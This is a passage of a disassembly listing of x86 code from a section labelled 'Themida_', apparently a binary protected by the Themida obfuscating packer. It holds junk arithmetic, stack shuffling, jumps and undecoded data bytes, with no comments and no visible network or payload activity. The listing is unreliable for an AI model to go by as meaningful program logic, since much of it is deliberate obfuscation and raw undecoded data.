		dd 0F6FFFFDAh, 80D1F6D9h, 0D1F696E1h, 0D7E980h,	4DE959CFh
		dd 8F00004Fh, 0EC812404h, 4, 2594E9h, 81E58900h, 4C5h
		dd 0C9BFE900h, 0C281FFFFh, 4, 2BD55h, 0EA810000h, 11740E4Ah
		dd 0FFD225E9h, 15E5BAFFh, 685730BDh, 25AA0A48h,	5707E9h
		dd 50E68900h, 4B8h, 58C60100h, 4C681h, 34870000h, 0FDABE924h
		dd 8B66FFFFh, 1668240Ch, 0E900000Ch, 75Dh, 344CE95Bh
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_559B22:				; CODE XREF: Themida_:0055A7B2j
		add	edi, ecx
		jmp	loc_55DBD0
; ---------------------------------------------------------------------------
		db 5Fh,	52h, 0E9h
		dd 19C1h, 4350BD55h, 0CD8167D7h, 5A4263C0h, 0ED81DDF7h
		dd 89CFE1F3h, 505DEA31h, 0FFD9CFE9h, 8B8BDFFh, 0CD81734Dh
		dd 27BE572Bh, 0CE1E9h, 0D7F75900h, 30296897h, 4890000h
		dd 2414F724h, 0CBE3E958h, 0EC81FFFFh, 4, 0FFDD28E9h, 361BDFFh
		dd 0D5F710ACh, 0FFE0F7E9h, 55D3F7FFh, 0F57FD1BDh, 81D5F724h
		dd 0B19B66F5h, 5DEB098Ch, 4C1FCB81h, 53525C75h,	404B23BBh
		dd 5BDA8918h, 15AD329h,	50E95BD8h, 8B000034h, 0BB68240Ch
		dd 0E9000072h, 4F82h, 81E28952h, 4C2h, 4C28300h, 5C241487h
		dd 2404A30Fh, 4C38E99Ch, 0F1010000h, 1A78E981h,	525E055Ch
		dd 965A60BAh, 0D6CA8114h, 815E6150h, 0F75AF2F2h, 6F89E95Eh
		dd 4680000h, 5B000000h,	0FFD6EAE9h, 0E9C889FFh,	6BB3h
		dd 4C6815Eh, 53000000h,	7D5D68h, 0C8A4E900h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_559C22:				; CODE XREF: Themida_:0055D61Ej
		add	ah, 1
		inc	ah
		shl	ah, 5
		shl	ah, 4
		xor	ah, 1
		add	bl, ah
		mov	eax, [esp]
		add	esp, 4
		xor	bl, 72h
		xor	al, bl
		mov	ebx, [esp]
		add	esp, 4
		sub	esp, 4
		jmp	loc_555C08
; ---------------------------------------------------------------------------
		dw 5450h
		dd 582434FFh, 4C481h, 4050000h,	56000000h, 2DE0E9h
		db 0
; ---------------------------------------------------------------------------


loc_559C65:				; CODE XREF: Themida_:005566BBj
		pop	ecx
		and	eax, esi
		push	dword ptr [esp]
		push	dword ptr [esp]
		pop	esi
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		push	edi
		mov	edi, 4
		add	ebp, edi
		pop	edi
		jmp	loc_55AD89
; ---------------------------------------------------------------------------
		dw 0C780h
		dd 0DC0FE9BEh, 4BDFFFFh, 1000000h, 0C2E95DE9h, 81FFFFC8h
		dd 4ECh, 243C8900h, 382F71BFh, 5DB95144h, 17D3E1Bh, 0FEA7E9CFh
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		jmp	loc_55C092
; ---------------------------------------------------------------------------


loc_559CC4:				; CODE XREF: Themida_:0055DD54j
		push	ecx
		mov	ecx, 756F2A34h
		or	ebp, ecx
		pop	ecx
		jmp	loc_55B38C
; ---------------------------------------------------------------------------


loc_559CD2:				; CODE XREF: Themida_:0056097Aj
		add	esp, 4
		pop	edi
		push	esi
		mov	esi, esp
		add	esi, 4
		push	ecx
		jmp	loc_55ACAF
; ---------------------------------------------------------------------------
		db 0FFh, 34h, 24h
		dd 8324348Bh, 0E95104C4h, 0FFFFECA4h, 5972F1BBh, 0D8F38160h
		dd 56192CAh, 1FD14C18h,	0FFB10BE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_559D09:				; CODE XREF: Themida_:00556661j
		pop	edx
		push	dword ptr [esp]
		mov	ecx, [esp]
		jmp	loc_55DDE7
; ---------------------------------------------------------------------------
		db 89h,	4, 24h
aP5H5		db '¸p',1Bh,'5*h5~',0
		align 2
		dw 1489h
		dd 7452BA24h, 0F2812CF7h, 0F93D90C0h, 0CB1DF22Dh, 0E9D00139h
		dd 43C6h, 2424895Ch, 4240483h, 592434FFh, 8904EC83h, 0E189240Ch
		dd 4C181h, 0C1830000h, 240C8704h, 4C1815Ch, 56000000h
		dd 2BEh, 5EF10100h, 31240C33h, 0C33240Ch, 4085C24h, 0E5E99C24h
		db 0EDh, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_559D7F:				; CODE XREF: Themida_:005579A9j
		add	esp, 4
		shr	eax, 0Bh
		xor	ecx, eax
		push	4198h
		jmp	loc_557FCC
; ---------------------------------------------------------------------------
		db 8Bh,	2 dup(24h)
		dd 0E9028864h, 4D0Ah, 31243433h, 34332434h, 3C64E924h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_559DAA:				; CODE XREF: Themida_:0055B980j
		add	esp, 4
		shl	ebp, 3
		shl	ebp, 8
		not	ebp
		or	ebp, 10D564DFh
		add	ebp, 0F237A1F1h
		sub	ecx, ebp
		pop	ebp
		and	eax, ecx
		pop	ecx
		or	eax, eax
		jz	loc_55FDC1
		push	4E7Ah
		mov	[esp], eax
		mov	eax, 1Ch
		add	eax, edi
		push	edx
		jmp	loc_557A1C
; ---------------------------------------------------------------------------
		dd 4CAE6866h, 24048966h, 0FFCD2DE9h, 6ED7BAFFh,	0CA810B05h
		dd 4FF2718Bh, 0F281DAF7h, 0B0088023h, 0E95AD501h, 0F11h
		dd 0E904EC83h, 3F6Ah
; ---------------------------------------------------------------------------


loc_559E14:				; CODE XREF: Themida_:0055A6AFj
		push	6A85h
		mov	[esp], eax
		push	ebx
		push	eax
		mov	ah, 4Eh
		mov	bl, ah
		jmp	loc_554E20
; ---------------------------------------------------------------------------
		db 80h
		dd 85E9C1F3h, 31FFFFE1h, 0C33240Ch, 24248B24h, 15D0E9h
		dd 81E78900h, 4C7h, 4BD5500h, 81000000h, 0CA6F2AC7h, 81EF017Fh
		dd 0CA6F2AEFh, 3C875D7Fh, 68665C24h, 89660BECh,	0B050240Ch
		dd 885352F9h, 1A72E9C3h, 0C0680000h, 5B005002h,	390AF381h
		dd 814326B4h, 7349DCBh,	0C2E95560h, 89FFFFFCh, 5954240Ch
		dd 4C181h, 0BF570000h, 53622D43h, 400FF781h, 0D7F71AE5h
		dd 0F781DFF7h, 16EC7771h, 729EF81h, 0F7813A77h,	24F41317h
		dd 0FFDE06E9h, 835B54FFh, 148904ECh, 339ABA24h,	5BE912D6h
		dd 5E00004Ah, 4263F681h, 0B9510F7Eh, 56F62458h,	8107E9C1h
		dd 3881C3E9h, 59CE0983h, 6895E9h
		db 0
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		add	ebp, 4
		push	ebp
		push	dword ptr [esp+4]
		jmp	loc_55FA6A
; ---------------------------------------------------------------------------


loc_559F03:				; CODE XREF: Themida_:005585E7j
		shl	ecx, 5
		jmp	loc_556022
; ---------------------------------------------------------------------------
		db 5Ah
		dd 4C281h, 0C2810000h, 4, 0E9241433h, 0AD9h, 0AA4F94BDh
		dd 2EDC155h, 7CF168h, 0BE70E900h, 0C481FFFFh, 4, 0FFCEABE9h
		dd 0D6F75AFFh, 0E221EE81h, 0F0899910h, 585A505Eh, 390CE9h
		dd 0E9CB2800h, 0FFFFF7D1h
; ---------------------------------------------------------------------------


loc_559F58:				; CODE XREF: Themida_:00554F41j
		sub	esp, 4
		mov	[esp], edx
		push	ecx
		mov	ecx, 79B612A7h
		mov	edx, 5478394Ah
		sub	edx, 8AB31227h
		sub	edx, ecx
		pop	ecx
		jmp	loc_55B96D
; ---------------------------------------------------------------------------
		dw 48Fh
aSrl		db '$éL',0
		align 2
		dw 595Bh
		dd 2474FF57h, 243C8B04h, 81E78957h, 4C7h, 4C78300h, 0FFB80FE9h
		dd 0E9F031FFh, 61C8h, 0DE2A3CBAh, 31A0E95Ah, 0E6890000h
		dd 523DBF57h, 0F7813FBFh, 466D5139h, 5C0CE781h,	0F781404Ah
		dd 22A2657Fh, 0B3A1E947h, 0CE81FFFFh, 739A4D81h, 81FFEE83h
		dd 0DE7FD8EEh, 5EF389F3h, 0FFC4A1E9h, 2474FFFFh, 0A951E904h
		dd 815AFFFFh, 4C4h, 68C1FE00h, 0
		dd 8A240C28h, 0C483240Ch, 46B05004h, 2846C180h,	46E980C1h
		dd 59CC2058h, 4318E9h, 5D505900h, 0E5814D58h, 41C62515h
		dd 47E2ED81h, 97680CE5h, 0E900006Bh, 87h, 0DCE9C9FEh, 0C1000011h
		dd 0EA8108E2h, 2A0B4353h, 4810EA81h, 0D1299B5Ah, 0E9C8315Ah
		dd 0FFFFFFC5h, 46C4CE81h, 0F6813F28h, 63D10572h, 0C163E946h
		dd 0E189FFFFh, 5AA3E9h
		db 0
; ---------------------------------------------------------------------------


loc_55A06D:				; CODE XREF: Themida_:0055E024j
		neg	edi
		sub	esp, 4
		mov	[esp], ebp
		push	31D0h
		jmp	loc_5558DB
; ---------------------------------------------------------------------------
		dw 4891h
		dd 0F255A305h, 1C06E97Fh, 348B0000h, 4C48324h, 34FFC131h
		dd 0EC815824h, 4, 52A8E9h, 6E9C100h, 5D3BC981h,	1E96CFDh
		dd 0FFFFFFB1h, 5E92434h, 8900004Fh, 0B0E9242Ch,	66000069h
		dd 6824048Bh, 6480h, 54240C89h,	9E95259h
		db 2Eh,	2 dup(0)
; ---------------------------------------------------------------------------


loc_55A0D7:				; CODE XREF: Themida_:0055AE33j
		push	dword ptr [esp]
		pop	edx
		jmp	loc_55DD94
; ---------------------------------------------------------------------------
		dd 3CE9535Ch, 58FFFFCAh, 0E9E08950h, 0FFFFD9E4h
; ---------------------------------------------------------------------------


loc_55A0F0:				; CODE XREF: Themida_:0055699Cj
		pop	edx
		mov	edi, [esp]
		jmp	loc_559002
; ---------------------------------------------------------------------------
		db 66h,	8Bh, 0Ch
aSag		db '$éíg',0
		align 2
		dw 0EE81h
		dd 2A6B152Ah, 2E84E95Fh, 0ED800000h, 59E828F1h,	6602EC83h
		dd 50240C89h, 4B57E9h, 4EC8100h, 89000000h, 60BA2414h
		dd 0E9597E33h, 0FFFFC112h, 28325DB8h, 3E1AE925h, 52BA0000h
		dd 2939214Dh, 0B6E95BDAh, 87FFFFF4h, 0F5C241Ch,	0E5E9C8BEh
		dd 8BFFFFC0h, 8F662424h, 0EC812404h, 2,	240C8966h, 24048766h
		dd 34E95066h
		db 0DBh, 2 dup(0FFh)
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		add	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		xchg	ebx, [esp]
		jmp	loc_55E6E0
; ---------------------------------------------------------------------------


loc_55A18E:				; CODE XREF: Themida_:0055C28Dj
		add	ebx, 7BB3100Eh
		pop	dword ptr [eax]
		jmp	loc_5548CE
; ---------------------------------------------------------------------------
		db 68h
		dd 57566B3Eh, 81DDF75Dh, 8E6C37EDh, 4EC8167h, 89000000h
		dd 14F7242Ch, 0EDC15D24h, 6E5C103h, 0BB7CED81h,	0E901F726h
		dd 0FFE16BE9h, 4C481FFh, 66000000h, 16B96651h, 0EB816609h
		dd 166035Bh, 4140E9CBh,	68570000h, 4, 5FFA015Fh, 2B951h
		dd 59E90000h, 4DFFFFE8h, 0EDC1D5F7h, 3DC58107h,	169C6A3h
		dd 242C8BE8h, 4C481h, 0C8010000h, 0FA417F2Dh, 2434FF69h
		dd 0D6E95659h, 50FFFFF8h, 4055854h, 2D000000h, 4, 5C240487h
		dd 68242489h, 54E8h, 53240489h,	2472BCBBh, 0B8F38164h
		dd 89642472h, 241C8BD8h, 4C481h, 44810000h, 1F6E0424h
		dd 70E942EBh
		db 0D4h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_55A25F:				; CODE XREF: Themida_:0055DF6Dj
		push	ebp
		neg	dword ptr [esp]
		pop	ebp
		add	ebp, 1A384C7Fh
		jmp	loc_558B69
; ---------------------------------------------------------------------------
		dd offset dword_44622C+4A3Ch
		align 4
		dd 0FFA827E9h, 243489FFh, 8DE95E54h, 0FF000044h, 669D1C77h
		dd 24041858h, 3792E99Ch, 89520000h, 4C281E2h, 0E9000000h
		dd 0FFFFC790h
; ---------------------------------------------------------------------------


loc_55A2A0:				; CODE XREF: Themida_:0055DDAAj
		and	ebx, 3BE2101h
		neg	ebx
		shr	ebx, 4
		shl	ebx, 5
		xor	ebx, 134410F4h
		add	ebx, 16381110h
		add	edi, ebx
		pop	ebx
		xchg	edi, [esp]
		mov	esp, [esp]
		sub	esp, 4
		mov	[esp], eax
		push	ebp
		push	eax
		mov	eax, 6526459Ah
		push	edi
		jmp	loc_55E544
; ---------------------------------------------------------------------------


loc_55A2D6:				; CODE XREF: Themida_:00556D5Fj
		add	ebp, 4
		jmp	loc_559A44
; ---------------------------------------------------------------------------
aQrsb		db 'QRé',8,0
		align 4


loc_55A2E8:				; CODE XREF: Themida_:00555910j
		mov	[esp], edi
		push	eax
		mov	eax, 10h
		mov	edi, eax
		pop	eax
		and	ebx, edi
		jmp	loc_55513D
; ---------------------------------------------------------------------------
		db 0BFh
		dd 2, 0FABE5653h, 0E9098517h, 5C03h, 0E9028F66h, 0FFFFA5BAh
		dd 0CE8883B1h, 240C8B66h, 6602C483h, 2454F652h,	148B6601h
		dd 2C48124h, 0F6000000h, 80C6FEDEh, 0B05075EEh,	34D0F648h
		dd 0FEFF0463h, 0CFE0E9C8h, 0C87FFFFh, 0BE565C24h, 2, 72E9F501h
		dd 5E000065h, 0C281D2F7h, 0B037AC62h, 148BD329h, 4C48324h
		dd 0F5668h, 242C8900h, 3363BB68h, 0EB015D48h, 0E9242C8Bh
		dd 3F7Eh, 5EFC058h, 0FBE9EFD0h
		db 0F8h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_55A38B:				; CODE XREF: Themida_:0055ED8Aj
		mov	eax, 4
		add	edx, eax
		pop	eax
		add	edx, 4
		xchg	edx, [esp]
		pop	esp
		or	edx, eax
		shl	edx, 1
		push	0CE0h
		mov	[esp], edx
		push	0FFFFFFFFh
		pop	edx
		sub	[edi+24h], edx
		push	dword ptr [esp]
		jmp	loc_5606E1
; ---------------------------------------------------------------------------


loc_55A3B7:				; CODE XREF: Themida_:00558CC7j
		pop	ecx
		xor	eax, [esp]
		xor	[esp], eax
		xor	eax, [esp]
		pop	esp
		xor	eax, 41101A00h
		sub	esp, 4
		mov	[esp], edx
		mov	edx, 15907A2Ah
		push	eax
		jmp	loc_55AE38
; ---------------------------------------------------------------------------
		db 31h
		dd 5DE95DEAh, 33FFFFEAh, 0F75C2434h, 457C68F9h,	14890000h
		dd 0E99C5024h, 0FFFFA4D6h
; ---------------------------------------------------------------------------


loc_55A3F8:				; CODE XREF: Themida_:0055B9D7j
		sub	esi, 0BF13D7F1h
		sub	esp, 4
		mov	[esp], ecx
		mov	ecx, 6125084Dh
		and	esi, ecx
		mov	ecx, [esp]
		add	esp, 4
		jmp	loc_55B31B
; ---------------------------------------------------------------------------
		dd 0DD6AC3BAh, 0EA81420Bh, 0BB5856Bh, 15AD129h,	48759C8h
		dd 4AB4E924h, 0C3800000h, 10B151CFh, 4426E9h, 34FF5E00h
		dd 0EC815D24h, 4, 89241C89h, 6410E9E3h,	28590000h, 10C380C3h
		dd 0E9CFB050h, 2364h, 3C74B850h, 0A4257746h, 5553471h
		dd 0EA17D16Dh, 3E9C331h, 0F7FFFFF1h, 0E99C241Ch, 0FFFFA44Ah
		dd 0C7FE6CB7h, 0EF86CFFEh, 0D3F6DD86h, 8852DD86h, 88FD88EEh
		dd 605AE9F7h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_55A49E:				; CODE XREF: Themida_:0055671Cj
		add	esp, 4
		push	ecx
		mov	ecx, 5A195F0Ch
		push	ebx
		mov	ebx, 7BE51A73h
		add	ecx, ebx
		pop	ebx
		jmp	loc_55BA51
; ---------------------------------------------------------------------------


loc_55A4B5:				; CODE XREF: Themida_:0055D890j
		pop	ecx
		add	al, 43h
		push	ebx
		mov	bh, 0D3h
		sub	al, bh
		mov	ebx, [esp]
		push	esi
		mov	esi, esp
		add	esi, 4
		jmp	loc_556A90
; ---------------------------------------------------------------------------


loc_55A4CE:				; CODE XREF: Themida_:00560777j
		mov	[esp], edi
		mov	edi, 4
		add	ebp, edi
		mov	edi, [esp]
		push	edx
		push	esp
		pop	edx
		add	edx, 4
		add	edx, 4
		push	edx
		push	dword ptr [esp+4]
		pop	edx
		pop	dword ptr [esp]
		jmp	loc_55969F
; ---------------------------------------------------------------------------
		db 57h,	0BFh, 0C2h
		dd 51312A4Ah, 564D5CB9h, 18C9815Fh, 811B284Ch, 5BE16BE9h
		dd 0E9CF3150h, 4177h, 0E9E8285Ch, 3CFCh, 16ED815Dh, 1EA956Ch
		dd 242C8BEFh, 5004C483h, 7F0558B8h, 31F8313Dh, 0F7F831C7h
		dd 4EE997D7h
		db 0B2h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_55A53F:				; CODE XREF: Themida_:0055756Ej
		xor	[esp], edi
		xor	edi, [esp]
		mov	esp, [esp]
		shr	ecx, 2
		sub	esp, 4
		mov	[esp], ebx
		push	2F8Ah
		mov	[esp], edx
		mov	edx, 26FE0838h
		jmp	loc_555A4F
; ---------------------------------------------------------------------------
		db 80h
		dd 9E906C2h, 6600000Ah,	0E924048Bh, 0FFFFC1A1h,	0E73D0BAh
		dd 0C2814A35h, 0CAF18C35h, 875AD301h, 685C241Ch, 27B5h
		dd 68241C89h, 547670D9h, 83241C8Bh, 1FE904C4h, 8100000Fh
		dd 0ED19D0EAh, 0E9D701F0h, 0FFFFD916h, 3302B951h, 52E9281Ah
		dd 0FFFFFFF6h, 0E9042474h, 2662h, 34F18149h, 8154262Bh
		dd 0FC2849E1h, 81D9F72Bh, 0AE5ADEC1h, 3E9C17Eh,	2154F181h
		dd 0C82947D5h, 5D02959h, 49AE6B0Fh, 5624148Bh, 0C681E689h
		dd 4, 4C681h, 0A0E90000h, 80000018h, 0C828DAE9h, 1C8B6659h
		dd 2C48124h, 0
		dd 4EC81D8h, 0E9000000h, 5EE2h
; ---------------------------------------------------------------------------


loc_55A61C:				; CODE XREF: Themida_:0055D5BDj
		mov	eax, [esp]
		push	77F8h
		jmp	loc_55540E
; ---------------------------------------------------------------------------
		db 81h,	0C5h, 1Fh
		dd 0E91592E9h, 66AFh
; ---------------------------------------------------------------------------


loc_55A634:				; CODE XREF: Themida_:0055604Aj
		sub	eax, 1
		push	ecx
		mov	ecx, 53A31341h
		shl	ecx, 8
		xor	ecx, 6DCC3D2Eh
		add	ecx, 2B5D4CD8h
		sub	eax, 26093B19h
		jmp	loc_55B5FD
; ---------------------------------------------------------------------------
		dd 242C8B54h, 4C481h, 0FE90000h
		db 1Bh,	2 dup(0)
; ---------------------------------------------------------------------------


loc_55A667:				; CODE XREF: Themida_:00560BE8j
		pop	dword ptr [edi+24h]
		pop	ebx
		sub	ebx, 0FFFFFFFFh
		push	dword ptr [edi+24h]
		push	ebx
		pop	dword ptr [edi+24h]
		jmp	loc_55514E
; ---------------------------------------------------------------------------
		db 81h,	4, 24h
		dd 0CB70142h, 4E05E95Ah, 0D8010000h, 4EC835Bh, 0E9242C89h
		dd 0FFFFC37Ch
; ---------------------------------------------------------------------------


loc_55A698:				; CODE XREF: Themida_:0055FEF3j
		or	edx, 11463637h
		jmp	loc_557AC9
; ---------------------------------------------------------------------------


loc_55A6A3:				; CODE XREF: Themida_:00555E6Ej
		pop	esp
		sub	bl, 0AFh
		push	small 4F0Ah
		mov	[esp], dx
		jmp	loc_559E14
; ---------------------------------------------------------------------------


loc_55A6B4:				; CODE XREF: Themida_:0055DBBEj
		and	ch, 2Fh
		or	ch, 30h
		add	ch, 1
		sub	ch, 82h
		add	bl, ch
		pop	ecx
		push	ecx
		mov	ecx, esp
		add	ecx, 4
		sub	ecx, 4
		xchg	ecx, [esp]
		pop	esp
		jmp	loc_560127
; ---------------------------------------------------------------------------
		dd 38128305h, 0BA525132h, 50FE0B1Ch, 15AD189h, 348B59C8h
		dd 4C48124h, 68000000h,	604Fh, 0BF243C89h, 3B841F0Bh, 7FB568h
		dd 24348900h, 0A31CBBBEh, 9FEF811Eh, 29033312h,	9FC781F7h
		dd 5E033312h, 1E5A68h, 240C8900h, 4F361668h, 240C8B4Ah
		dd 4C481h, 0CF310000h, 8B2434FFh, 0C483240Ch, 4C48304h
		dd 535FF831h, 33DC6855h, 0CFE958E0h, 80000062h,	0CBE92DEDh
		dd 0BE00005Bh, 53947h, 89F78957h, 0E95E5FF8h, 0FFFFA166h
		dd 31241C33h, 1C33241Ch, 24248B24h, 55241489h, 4EC81h
		dd 4890000h, 242C8B24h,	1A34E9h, 66D00000h, 8324148Bh
		dd 505102C4h, 8EE938B4h
		db 0D8h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_55A79B:				; CODE XREF: Themida_:0055D09Aj
		add	ebx, 475FE2B7h
		mov	ecx, ebx
		mov	ebx, [esp]
		add	esp, 4
		neg	ecx
		inc	ecx
		xor	ecx, 8A1BDCB4h
		jmp	loc_559B22
; ---------------------------------------------------------------------------
		db 81h
		dd 4ECh, 240C8900h, 0C58042B5h,	4B9CE98Bh
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_55A7CA:				; CODE XREF: Themida_:0055DA99j
		add	al, 44h
		sub	al, bl
		sub	al, 44h
		push	2137h
		jmp	loc_55D885
; ---------------------------------------------------------------------------
		dw 0F780h
		dd 8BFD0004h, 7DE9241Ch, 66FFFFAAh, 52240C8Bh, 0EC81E289h
		dd 4, 0E9243C89h, 5A68h, 5ED4BA52h, 0D529426Bh,	1CB5E9h
		dd 2434FF00h, 8124048Bh, 4C4h, 4EC8100h, 89000000h, 5F54243Ch
		dd 0FFE287E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_55A825:				; CODE XREF: Themida_:0055D2E1j
		push	edi
		push	5DE3E78h
		pop	edi
		dec	edi
		jmp	loc_558396
; ---------------------------------------------------------------------------
aSs		db '\é˜]',0
		align 4


loc_55A838:				; CODE XREF: Themida_:005565CDj
		pop	edi
		jmp	loc_55B9B8
; ---------------------------------------------------------------------------
		dw 0C14Dh
		dd 0F58105EDh, 99490872h, 895DEB01h, 0F1815BD9h, 64675356h
		dd 0FFCAA7E9h, 5FFE89FFh, 8107EEC1h, 0DF2FC1CEh, 0C1EE8159h
		dd 8959FF3Fh, 1E95EF1h,	57000010h, 4BFh, 247C0100h, 81595F04h
		dd 4C1h, 0C2E95700h
		db 27h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_55A88B:				; CODE XREF: Themida_:00558179j
		push	47DFh
		mov	[esp], edx
		sub	esp, 4
		mov	[esp], esi
		jmp	loc_5562B4
; ---------------------------------------------------------------------------
		dw 0B753h
		dd 0F3E78042h, 0FE06F780h, 5EF2E9CFh
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_55A8AE:				; CODE XREF: Themida_:00558B94j
		mov	ebp, 4
		add	ebx, ebp
		pop	ebp
		push	5FDBh
		jmp	loc_55DE32
; ---------------------------------------------------------------------------


loc_55A8C0:				; CODE XREF: Themida_:0055AB44j
		inc	eax
		push	ebx
		mov	ebx, 0C0B098Ah
		not	ebx
		xor	ebx, 7B6E0686h
		jmp	loc_555774
; ---------------------------------------------------------------------------
		dd 0CBADE959h, 0C8BFFFFh, 0E2895224h, 4C281h, 0C2830000h
		dd 24148704h, 6CCB815Ch, 810BFD31h, 0E023FDEBh,	33E3812Bh
		dd 81336138h, 93486EE3h, 0BE565536h, 3DC57A50h,	78FDF681h
		dd 0E94E386Bh, 0FFFFDFDDh, 4C4815Bh, 80000000h,	0FE98CEBh
		db 0FBh, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_55A927:				; CODE XREF: Themida_:0055DA6Fj
		xor	esi, ecx
		pop	ecx
		push	ecx
		push	eax
		push	ebp
		jmp	loc_555F05
; ---------------------------------------------------------------------------
		dw 0E789h
		dd 8904EC83h, 4BE2434h,	81000000h, 9A401DC7h, 4AEF8132h
		dd 5309B24Dh, 762615BBh, 0CEF4E97Ah, 0C89FFFFh,	0C0E95424h
		dd 57FFFFBBh, 4BFh, 2B23E900h, 0F2810000h, 262369ACh, 26BFEA81h
		dd 0F281715Eh, 0F81B99F1h, 505AD709h, 642AA6B8h, 724C3540h
		dd 35400FFCh, 57D94206h, 0C105E8C1h, 0EB0503E8h, 81800850h
		dd 591B63EFh, 81C7015Dh, 591B63C7h, 24048B5Dh, 4C481h
		dd 0F8010000h, 2404875Fh, 48B665Ch, 0E0895024h,	8904EC83h
		dd 4BF243Ch, 55000000h,	4B6BBABDh, 0F9CD8106h, 4545C007h
		dd 0ED81D5F7h, 50BA6425h, 8BE5645h, 0E91C53C1h,	1DF5h
		dd 69DFE981h, 0D9F77A46h, 0FFE696E9h, 241431FFh, 5C241433h
		dd 0FFC99AE9h, 5FFB89FFh, 1373DE2Dh, 50D8297Dh,	3C1468h
		dd 47D3E900h, 22B20000h, 3EC280h, 5241E9D1h, 0C6830000h
		dd 1F7CE902h, 52AC0000h, 0EEC071B6h, 617FE903h,	0C4810000h
		dd 4, 8103EEC1h, 0E82A16F6h, 13C68176h,	811B8F4Eh, 0B738DDF6h
		dd 0CDB2E9BEh, 0EE81FFFFh, 6CED63CAh, 8BF00159h, 0C4812434h
		dd 4, 5C240487h, 0F04C483h, 0C168C8BFh,	8900002Bh, 4BE9240Ch
		dd 0FFFFFF9Eh, 34FF3C77h, 2434FF24h, 0FFEE44E9h, 240C89FFh
		dd 0C7031AB9h, 3D57E938h, 7CB90000h, 0C134D86Bh, 0C98102E1h
		dd 65A00F14h, 0FFE9E4E9h, 240481FFh, 4,	4BF575Ah, 0E9000000h
		dd 0CB4h
; ---------------------------------------------------------------------------


loc_55AAC4:				; CODE XREF: Themida_:0055AEA3j
		inc	ecx
		xor	ecx, 0E7EFF2E5h
		add	ebp, ecx
		pop	ecx
		push	593h
		mov	[esp], ebp
		sub	esp, 4
		mov	[esp], edi
		pop	ebp
		pop	edi
		push	edi
		not	dword ptr [esp]
		pop	edi
		push	21D6h
		mov	[esp], ebp
		jmp	loc_5593C5
; ---------------------------------------------------------------------------
		db 52h
		dd 60E913B2h, 81000000h, 0B9EA9CF1h, 59CA0108h,	491ABD55h
		dd 0EDC11387h, 0C575E908h, 4B9FFFFh, 56000000h,	0CF5266BEh
		dd 104CE969h, 48B0000h,	0C763E924h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_55AB2A:				; CODE XREF: Themida_:0055C32Bj
		sub	ebx, 0D391C5Eh
		add	ebx, 15245195h
		pop	ecx
		push	eax
		mov	eax, 15991248h
		and	eax, 4F4A482Bh
		neg	eax
		jmp	loc_55A8C0
; ---------------------------------------------------------------------------
		db 5Bh,	81h, 44h
		dd 3C8B0424h, 54017E70h, 0EBE90424h, 0C0000043h, 0EA8003EAh
		dd 0FEEA8023h, 2880E9h,	24048100h, 45145517h, 17E98159h
		dd 0E9451455h, 0FFFFBD41h, 182E48B9h, 0E1C1410Bh, 4DF18104h
		dd 1CB529Ch, 315A59CBh,	9D38E9C2h, 0E981FFFFh, 6F10147Ch
		dd 138EE9h
		db 0
; ---------------------------------------------------------------------------


loc_55ABA1:				; CODE XREF: Themida_:00556BC1j
		xor	ecx, 489921E0h
		push	ecx
		neg	dword ptr [esp]
		pop	ecx
		push	6D3Ch
		mov	[esp], ebp
		push	esi
		jmp	loc_55D30F
; ---------------------------------------------------------------------------
		dw 0E8B1h
		dd 0C186D9F6h, 0C186D0F6h, 5302E9C0h, 0D7F68DB7h, 0C7FECFFEh
		dd 80A1CF80h, 0C78033EFh, 5BF9307Bh, 3748E9h, 241C3300h
		dd 0FF24248Bh, 0E99C2404h, 0FB6h
; ---------------------------------------------------------------------------


loc_55ABF0:				; CODE XREF: Themida_:00554C5Fj
		push	ecx
		mov	ecx, 719C0312h
		jmp	loc_555CB2
; ---------------------------------------------------------------------------
		db 66h
		dd 5224048Bh, 0CBE9E289h, 5400000Bh, 4A27685Bh,	2C890000h
		dd 4BD24h, 0EB010000h, 4C3815Dh, 87000000h, 0A3E9241Ch
		dd 8900003Eh, 0B050240Ch, 304CB510h, 5A5EE9C5h,	15B0000h
		dd 0D3D2E9C7h, 2C89FFFFh, 6B25BD24h, 1E91B34h, 59FFFFC7h
		dd 80FE9h, 0B9EF8100h, 8159D933h, 1C6D76E7h, 6DBE563Ah
		dd 0E913D610h, 3556h, 0CF00D3B1h, 0CF805966h, 0D7C7809Ah
		dd 8007E780h, 0DFF687EFh, 0E903E7C0h, 0FFFFFB56h, 24048B66h
		dd 8904EC83h, 0E6892434h, 0FFF860E9h, 4EC83FFh,	0BB241C89h
		dd 4, 0FFFB57E9h, 0FF180FFh, 4EE9C800h
		db 0A3h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_55ACAF:				; CODE XREF: Themida_:00559CE0j
		push	eax
		push	4B862F07h
		pop	eax
		jmp	loc_555863
; ---------------------------------------------------------------------------
		db 0ADh
		dd 5E6B2A05h, 222C050Ch, 17E9299Ah
		db 38h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_55ACCB:				; CODE XREF: Themida_:00556FE0j
		sub	ecx, 1
		sub	ecx, 24795D99h
		xor	ecx, 21F8703Dh
		jmp	loc_55CD0C
; ---------------------------------------------------------------------------
		dw 15Dh
		dd 5A042454h, 5A2434FFh, 0E904C483h, 0FFFFA699h, 0B12BE95Ah
		dd 0C181FFFFh, 4, 4C181h, 0C870000h, 48F5C24h, 0C90B5C24h
